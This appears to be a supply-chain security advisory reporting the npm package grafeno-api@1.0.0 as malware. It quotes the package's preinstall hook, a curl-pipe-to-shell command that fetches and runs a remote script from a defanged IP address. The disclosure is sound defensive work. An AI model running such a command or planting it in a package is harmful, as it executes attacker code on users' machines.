LWA-2026-11688 MAL-2026-15501 ↗ confirmed malware

grafeno-api@1.0.0

Malicious code in grafeno-api (npm)

T1059.007 · JavaScriptT1105 · Ingress Tool Transfer

Analysis

The package's preinstall hook runs a remote shell script at install time: it executes `curl -s 216[.]126[.]236[.]46/x.sh | sh` via /bin/bash, downloading and executing arbitrary code from the IP 216[.]126[.]236[.]46. The package contains no other functional code (a 57-byte index.js stub), so its entire purpose is to fetch and run this remote payload on the installer's machine.

analyzed by
Leitwacht
first seen
Aug 28, 2026, 10:47 PM
analyzed
Aug 28, 2026, 10:47 PM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.